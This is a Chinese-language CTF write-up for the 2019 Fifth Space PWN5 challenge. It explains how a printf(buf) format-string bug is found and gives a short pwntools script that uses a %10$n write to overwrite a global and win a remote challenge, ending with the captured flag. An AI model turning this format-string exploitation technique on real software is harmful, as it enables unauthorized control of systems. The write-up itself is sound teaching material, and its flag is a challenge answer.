第五空间2019决赛-PWN5—1

[第五空间2019决赛]PWN5—1

逆向分析

image-20250720150637627

依旧还是熟悉的ida分析,发现有些不对劲,通过checksec检查一下文件。执行checksec pwn

image-20250720163304792

发现NX防御是开着的Stack防御也是开着的证明这道题并不是简单的栈溢出问题,再仔细看看代码。

image-20250720163414190

发现了危险函数调用只需要让我们第二次输入的和buf相同就行,可是buf是每次随机生成的我们要怎么知道或者修改呢,刚刚说过了栈溢出不能使用因为这个文件里有readsdword函数进行栈检查,一溢出就会报错。再看看,发现了printf(buf)函数,buf是我们可以控制的。所以这道题不是栈溢出漏洞而是格式化字符串漏洞。,又因为PIE随机地址是关闭的,所以我们完全可以使用固定地址进行攻击,看代码逻辑可以发现只需要把``buf_这个变量进行修改就可以了,在ida里找到地址0x0804C044`。

[!NOTE]

printf这个函数大家都学过,它是通过第一个参数里的格式化字符串类似%d这样的进行判断是否要读取后面的数据,无论后面有没有参数。基于此如果发现有一个printf函数的首参数可以被控制那么就很有可能存在格式化字符串漏洞。

一般来说格式化字符串漏洞用的都是不太常用的比如:

%x输出地址解引用后的值

%p输出地址

%n计算前面输出了几位把数字写到这个地址

还有一个技巧就是%[number]$n就是使用第number个参数

所以你可以通过构造一个有很多格式化的输入来获取本身在地址里属于第几位,例如我构造的AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x,看见414141就是那一位。

image-20250803145210071

数一下发现是第10位,所以可以用%10$n来对我们输入的地址的值进行修改。

简简单单写个exp

1
2
3
4
5
6
7
8
from pwn import *
#p=process('./pwn')
p=remote('node5.buuoj.cn',27796)
buf_adrss=0x0804C044
offset=10
payload=p32(buf_adrss)+b'%10c'+b'%10$n'
p.sendafter('your name:',payload)
p.interactive()

本地先测试一下

image-20250803154136669

ok!!

然后去靶机上测

image-20250803154304889

成功获得

flag:flag{9631d062-4b32-469a-99b6-d96e512bddc4}